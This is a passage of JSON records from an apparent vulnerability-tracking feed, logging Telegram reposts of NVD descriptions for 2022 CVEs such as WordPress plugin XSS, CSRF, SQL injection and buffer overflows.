\u203c\n\nIn telephony service, there is a missing permission check. This could lead to local denial of service in telephone service with no additional execution privileges needed.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-03-11T00:27:25.000000Z"}, {"uuid": "3a265c45-2e96-48ae-8c26-e941573f0f7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47455", "type": "seen", "source": "https://t.me/cibsecurity/59844", "content": "\u203c CVE-2022-47455 \u203c\n\nIn wlan driver, there is a possible missing params check. This could lead to local denial of service in wlan services.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-03-11T00:21:39.000000Z"}, {"uuid": "0f6b703e-7dcd-4b38-b8e4-1ac8a7e8721a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47457", "type": "seen", "source": "https://t.me/cibsecurity/59826", "content": "\u203c CVE-2022-47457 \u203c\n\nIn wlan driver, there is a possible missing params check. This could lead to local denial of service in wlan services.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-03-11T00:21:19.000000Z"}, {"uuid": "f9c9d491-15ff-47a3-89c6-811256400ed0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4770", "type": "seen", "source": "https://t.me/cibsecurity/61350", "content": "\u203c CVE-2022-4770 \u203c\n\nHitachi Vantara Pentaho Business Analytics Server prior to versions 9.4.0.0 and 9.3.0.2, including 8.3.x display the full parametrized SQL query in an error message when an invalid character is used within a Pentaho Report (*.prpt).\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-03T22:24:58.000000Z"}, {"uuid": "822c734b-6175-4f19-91f9-be5b50c56c24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4769", "type": "seen", "source": "https://t.me/cibsecurity/61348", "content": "\u203c CVE-2022-4769 \u203c\n\nHitachi Vantara Pentaho Business Analytics Server prior to versions 9.4.0.0 and 9.3.0.2, including 8.3.x display the target path on host when a file is uploaded with an invalid character in its name.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-03T22:24:57.000000Z"}, {"uuid": "231cb4ba-e3b9-46da-bb64-40062f34164f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47931", "type": "seen", "source": "https://t.me/cibsecurity/55217", "content": "\u203c CVE-2022-47931 \u203c\n\nIO FinNet tss-lib before 2.0.0 allows a collision of hash values.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-23T02:13:59.000000Z"}, {"uuid": "d818436e-6aaf-40ee-948b-eefbb09e8734", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4771", "type": "seen", "source": "https://t.me/cibsecurity/61344", "content": "\u203c CVE-2022-4771 \u203c\n\nHitachi Vantara Pentaho Business Analytics Server prior to versions 9.4.0.1 and 9.3.0.2, including 8.3.x allow a malicious URL to inject content into the Pentaho User Console through session variables.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-03T22:24:51.000000Z"}, {"uuid": "a21d739a-9b5d-49df-810f-c731ca551543", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47983", "type": "seen", "source": "https://t.me/cibsecurity/57317", "content": "\u203c CVE-2022-47983 \u203c\n\nIBM InfoSphere Information Server 11.7 is vulnerable to cross-site scripting. This vulnerability allows users to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session. IBM X-Force ID: 243161.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-01T20:14:13.000000Z"}, {"uuid": "90c4d54e-1636-4d01-b2a5-e369f131b81d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47131", "type": "seen", "source": "https://t.me/cibsecurity/57441", "content": "\u203c CVE-2022-47131 \u203c\n\nA Cross-Site Request Forgery (CSRF) in Academy LMS before v5.10 allows an attacker to arbitrarily create a page.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-03T15:32:13.000000Z"}, {"uuid": "600bd2eb-48b5-4628-92bf-de71c926348b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47130", "type": "seen", "source": "https://t.me/cibsecurity/57439", "content": "\u203c CVE-2022-47130 \u203c\n\nA Cross-Site Request Forgery (CSRF) in Academy LMS before v5.10 allows a discount coupon to be arbitrarily created if an attacker with administrative privileges interacts on the CSRF page.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-03T07:25:29.000000Z"}, {"uuid": "e25f673c-9159-49e0-aa20-1bce5750c808", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47132", "type": "seen", "source": "https://t.me/cibsecurity/57434", "content": "\u203c CVE-2022-47132 \u203c\n\nA Cross-Site Request Forgery (CSRF) in Academy LMS before v5.10 allows attackers to arbitrarily add Administrator users.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-03T07:25:21.000000Z"}, {"uuid": "12d12334-ea38-4230-991b-152a74c0087f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47872", "type": "seen", "source": "https://t.me/cibsecurity/57359", "content": "\u203c CVE-2022-47872 \u203c\n\nmaccms10 2021.1000.2000 is vulnerable to Server-side request forgery (SSRF).\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-02T00:16:34.000000Z"}, {"uuid": "02e293f7-79d5-4093-8a96-852184886dc5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47003", "type": "seen", "source": "https://t.me/cibsecurity/57305", "content": "\u203c CVE-2022-47003 \u203c\n\nA vulnerability in the Remember Me function of Mura CMS before v10.0.580 allows attackers to bypass authentication via a crafted web request.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-01T16:29:35.000000Z"}, {"uuid": "8c6b88e4-82f6-4895-a097-72587c13c4e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47715", "type": "seen", "source": "https://t.me/cibsecurity/57288", "content": "\u203c CVE-2022-47715 \u203c\n\nIn Last Yard 22.09.8-1, the cookie can be stolen via via unencrypted traffic.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-01T16:14:09.000000Z"}, {"uuid": "cb63d0a2-0ecf-49f8-a8be-f09fc843a2e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47714", "type": "seen", "source": "https://t.me/cibsecurity/57286", "content": "\u203c CVE-2022-47714 \u203c\n\nLast Yard 22.09.8-1 does not enforce HSTS headers\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-01T16:14:08.000000Z"}, {"uuid": "5016846d-7cbd-41d8-a0b5-005af7cc0a1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47002", "type": "seen", "source": "https://t.me/cibsecurity/57284", "content": "\u203c CVE-2022-47002 \u203c\n\nA vulnerability in the Remember Me function of Masa CMS v7.2, 7.3, and 7.4-beta allows attackers to bypass authentication via a crafted web request.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-01T16:14:06.000000Z"}, {"uuid": "e9df73df-cb24-46e8-8638-3786a8981bc5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47664", "type": "seen", "source": "https://t.me/cibsecurity/59389", "content": "\u203c CVE-2022-47664 \u203c\n\nLibde265 1.0.9 is vulnerable to Buffer Overflow in ff_hevc_put_hevc_qpel_pixels_8_sse\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-03-03T18:34:49.000000Z"}, {"uuid": "7bdcb033-170d-4f4f-a611-39c47b20a736", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47665", "type": "seen", "source": "https://t.me/cibsecurity/59377", "content": "\u203c CVE-2022-47665 \u203c\n\nLibde265 1.0.9 has a heap buffer overflow vulnerability in de265_image::set_SliceAddrRS(int, int, int)\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-03-03T18:34:28.000000Z"}, {"uuid": "114f6b6c-0aa5-4ab3-8585-15139f055fad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47854", "type": "seen", "source": "https://t.me/cibsecurity/57223", "content": "\u203c CVE-2022-47854 \u203c\n\ni-librarian 4.10 is vulnerable to Arbitrary file upload in ajaxsupplement.php.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-31T20:38:25.000000Z"}, {"uuid": "9ec0a44e-b75d-4a66-9492-b98f0216d45d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47148", "type": "seen", "source": "https://t.me/cibsecurity/59242", "content": "\u203c CVE-2022-47148 \u203c\n\nCross-Site Request Forgery (CSRF) vulnerability in WP Overnight PDF Invoices & Packing Slips for WooCommerce plugin <= 3.2.5 leading to popup dismiss.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-03-01T18:33:43.000000Z"}, {"uuid": "8d3191d2-4643-4ba2-a470-f078c38add9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47116", "type": "seen", "source": "https://t.me/cibsecurity/55651", "content": "\u203c CVE-2022-47116 \u203c\n\nTenda A15 V15.13.07.13 was discovered to contain a stack overflow via the SYSPS parameter at /goform/SysToolChangePwd.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-31T00:27:42.000000Z"}, {"uuid": "062f18ed-b046-43ad-996a-8b766ad80768", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47612", "type": "seen", "source": "https://t.me/cibsecurity/59108", "content": "\u203c CVE-2022-47612 \u203c\n\nCross-Site Request Forgery (CSRF) vulnerability in Roland Barker, xnau webdesign Participants Database plugin <= 2.4.5 leads to list column update.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-28T18:27:49.000000Z"}, {"uuid": "ee8b1e53-04de-47b0-83c4-e21b8f9cd53b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47179", "type": "seen", "source": "https://t.me/cibsecurity/59111", "content": "\u203c CVE-2022-47179 \u203c\n\nCross-Site Request Forgery (CSRF) vulnerability in Uwe Jacobs OWM Weather plugin <= 5.6.11 leads to post duplication as a draft.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-28T18:27:55.000000Z"}, {"uuid": "83e01112-c997-4ce3-b3d2-bb28f5fd1ddc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4785", "type": "seen", "source": "https://t.me/cibsecurity/58563", "content": "\u203c CVE-2022-4785 \u203c\n\nThe Video Sidebar Widgets WordPress plugin through 6.1 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-21T12:16:35.000000Z"}, {"uuid": "6c3547f3-0313-4ff4-ad29-01a5c366809a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47909", "type": "seen", "source": "https://t.me/cibsecurity/58532", "content": "\u203c CVE-2022-47909 \u203c\n\nLivestatus Query Language (LQL) injection in the AuthUser HTTP query header of Tribe29's Checkmk <= 2.1.0p11, Checkmk <= 2.0.0p28, and all versions of Checkmk 1.6.0 (EOL) allows an attacker to perform direct queries to the application's core from localhost.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-20T20:15:56.000000Z"}, {"uuid": "93836cfa-eed8-43a1-b0fb-d9d8307f6f56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4752", "type": "seen", "source": "https://t.me/cibsecurity/58582", "content": "\u203c CVE-2022-4752 \u203c\n\nThe Opening Hours WordPress plugin through 2.3.0 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-21T12:21:40.000000Z"}, {"uuid": "e13aca9f-c37d-4434-82ae-4164a065081d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4791", "type": "seen", "source": "https://t.me/cibsecurity/58581", "content": "\u203c CVE-2022-4791 \u203c\n\nThe Product Slider and Carousel with Category for WooCommerce WordPress plugin before 2.8 does not validate and escape one of its shortcode attributes, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attack.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-21T12:21:39.000000Z"}, {"uuid": "69f93d12-c372-49d3-b6e7-a06050aef706", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4750", "type": "seen", "source": "https://t.me/cibsecurity/58580", "content": "\u203c CVE-2022-4750 \u203c\n\nThe WP Responsive Testimonials Slider And Widget WordPress plugin through 1.5 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-21T12:21:38.000000Z"}, {"uuid": "2077e0aa-9b58-40f7-ad71-59cf9c996170", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4754", "type": "seen", "source": "https://t.me/cibsecurity/58573", "content": "\u203c CVE-2022-4754 \u203c\n\nThe Easy Social Box / Page Plugin WordPress plugin through 4.1.2 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-21T12:16:48.000000Z"}, {"uuid": "de5ed403-c084-457a-a489-c604cefb29c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47967", "type": "seen", "source": "https://t.me/cibsecurity/56222", "content": "\u203c CVE-2022-47967 \u203c\n\nA vulnerability has been identified in Solid Edge (All versions < V2023 MP1). The DOCMGMT.DLL contains a memory corruption vulnerability that could be triggered while parsing files in different file formats such as PAR, ASM, DFT. This could allow an attacker to execute code in the context of the current process.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-10T14:28:26.000000Z"}, {"uuid": "cf32ae67-24c6-4180-956c-14053d1e35e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4777", "type": "seen", "source": "https://t.me/cibsecurity/58591", "content": "\u203c CVE-2022-4777 \u203c\n\nThe Bootstrap Shortcodes WordPress plugin through 3.4.0 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-21T12:21:54.000000Z"}, {"uuid": "b4ddce98-235a-438a-a1b8-6595f04c1484", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4761", "type": "seen", "source": "https://t.me/cibsecurity/58586", "content": "\u203c CVE-2022-4761 \u203c\n\nThe Post Views Count WordPress plugin through 3.0.2 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-21T12:21:47.000000Z"}, {"uuid": "f86673a6-eb6d-4d64-9c50-c1bea9aac505", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4784", "type": "seen", "source": "https://t.me/cibsecurity/58572", "content": "\u203c CVE-2022-4784 \u203c\n\nThe Hueman Addons WordPress plugin through 2.3.3 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-21T12:16:47.000000Z"}, {"uuid": "4cb2aa69-1963-49bc-853c-8c8c8d43e9e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4764", "type": "seen", "source": "https://t.me/cibsecurity/58569", "content": "\u203c CVE-2022-4764 \u203c\n\nThe Simple File Downloader WordPress plugin through 1.0.4 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-21T12:16:41.000000Z"}, {"uuid": "c4de310f-ef58-40b2-8373-2eac46b6124e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4714", "type": "seen", "source": "https://t.me/cibsecurity/58568", "content": "\u203c CVE-2022-4714 \u203c\n\nThe WP Dark Mode WordPress plugin before 4.0.0 does not validate and escape one of its shortcode attributes, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attack\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-21T12:16:40.000000Z"}, {"uuid": "d627eca5-f404-4dcd-b5af-81b7d5dc9219", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4786", "type": "seen", "source": "https://t.me/cibsecurity/58564", "content": "\u203c CVE-2022-4786 \u203c\n\nThe Video.js WordPress plugin through 4.5.0 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-21T12:16:36.000000Z"}, {"uuid": "d380b070-3ca0-4722-8412-8b6b3c2779ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47864", "type": "seen", "source": "https://t.me/cibsecurity/56346", "content": "\u203c CVE-2022-47864 \u203c\n\nLead Management System v1.0 is vulnerable to SQL Injection via the id parameter in removeCategories.php.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-11T18:29:20.000000Z"}, {"uuid": "72e81dbd-f384-42a7-861e-e4077e0d3e8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47865", "type": "seen", "source": "https://t.me/cibsecurity/56339", "content": "\u203c CVE-2022-47865 \u203c\n\nLead Management System v1.0 is vulnerable to SQL Injection via the id parameter in removeOrder.php.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-11T16:29:23.000000Z"}, {"uuid": "5d472047-02fd-4572-93eb-f6306eb628eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47866", "type": "seen", "source": "https://t.me/cibsecurity/56336", "content": "\u203c CVE-2022-47866 \u203c\n\nLead management system v1.0 is vulnerable to SQL Injection via the id parameter in removeBrand.php.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-11T16:29:20.000000Z"}, {"uuid": "533b303f-d4c2-4092-a6ce-fc18d717185f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47508", "type": "seen", "source": "https://t.me/cibsecurity/58271", "content": "\u203c CVE-2022-47508 \u203c\n\nCustomers who had configured their polling to occur via Kerberos did not expect NTLM Traffic on their environment, but since we were querying for data via IP address this prevented us from utilizing Kerberos.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-15T22:36:50.000000Z"}, {"uuid": "6a2fff3a-d4cc-4803-992d-b0e14ffc96a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47986", "type": "seen", "source": "https://t.me/cibsecurity/58436", "content": "\u203c CVE-2022-47986 \u203c\n\nIBM Aspera Faspex 4.4.1 could allow a remote attacker to execute arbitrary code on the system, caused by a YAML deserialization flaw. By sending a specially crafted obsolete API call, an attacker could exploit this vulnerability to execute arbitrary code on the system. The obsolete API call was removed in Faspex 4.4.2 PL2. IBM X-Force ID: 243512.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-17T18:13:11.000000Z"}, {"uuid": "05e76766-4900-46bb-9982-0ff3ddca8db8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47703", "type": "seen", "source": "https://t.me/cibsecurity/58414", "content": "\u203c CVE-2022-47703 \u203c\n\nTIANJIE CPE906-3 is vulnerable to password disclosure. This is present on Software Version WEB5.0_LCD_20200513, Firmware Version MV8.003, and Hardware Version CPF906-V5.0_LCD_20200513.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-17T00:18:47.000000Z"}, {"uuid": "d28cec40-3060-43b1-908b-d6988731998b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47630", "type": "seen", "source": "https://t.me/cibsecurity/56558", "content": "\u203c CVE-2022-47630 \u203c\n\nTrusted Firmware-A through 2.8 has an out-of-bounds read in the X.509 parser for parsing boot certificates. This affects downstream use of get_ext and auth_nvctr. Attackers might be able to trigger dangerous read side effects or obtain sensitive information about microarchitectural state.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-16T18:30:13.000000Z"}, {"uuid": "f6e87278-75e2-4c98-9f50-54a30b991424", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47318", "type": "seen", "source": "https://t.me/cibsecurity/56577", "content": "\u203c CVE-2022-46648 \u203c\n\nruby-git versions prior to v1.13.0 allows a remote authenticated attacker to execute an arbitrary ruby code by having a user to load a repository containing a specially crafted filename to the product. This vulnerability is different from CVE-2022-47318.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-17T12:25:07.000000Z"}, {"uuid": "9fbafe06-e7f4-4544-8967-486db33a9877", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4709", "type": "seen", "source": "https://t.me/cibsecurity/56245", "content": "\u203c CVE-2022-4709 \u203c\n\nThe Royal Elementor Addons plugin for WordPress is vulnerable to insufficient access control in the 'wpr_import_library_template' AJAX action in versions up to, and including, 1.3.59. This allows any authenticated user, including those with subscriber-level permissions, to import and activate templates from the plugin's template library.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-10T20:28:41.000000Z"}, {"uuid": "a8a95860-8398-4e16-81db-c2ad05379d6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4701", "type": "seen", "source": "https://t.me/cibsecurity/56244", "content": "\u203c CVE-2022-4701 \u203c\n\nThe Royal Elementor Addons plugin for WordPress is vulnerable to insufficient access control in the 'wpr_activate_required_plugins' AJAX action in versions up to, and including, 1.3.59. This allows any authenticated user, including those with subscriber-level permissions, to activate the 'contact-form-7', 'media-library-assistant', or 'woocommerce' plugins if they are installed on the site.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-10T20:28:40.000000Z"}, {"uuid": "fa633957-2adb-405e-95b7-bd2ceb81eb38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47083", "type": "seen", "source": "https://t.me/cibsecurity/56243", "content": "\u203c CVE-2022-47083 \u203c\n\nSpitfire CMS 1.0.475 is vulnerable to PHP Object Injection.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-10T20:28:36.000000Z"}, {"uuid": "2f434db6-f829-49c2-8c02-55a71a5ddd79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4711", "type": "seen", "source": "https://t.me/cibsecurity/56242", "content": "\u203c CVE-2022-4711 \u203c\n\nThe Royal Elementor Addons plugin for WordPress is vulnerable to insufficient access control in the 'wpr_save_mega_menu_settings' AJAX action in versions up to, and including, 1.3.59. This allows any authenticated user, including those with subscriber-level permissions, to enable and modify Mega Menu settings for any menu item.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-10T20:28:35.000000Z"}, {"uuid": "0557db9c-a8d1-448d-aab0-9d1679d36fb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 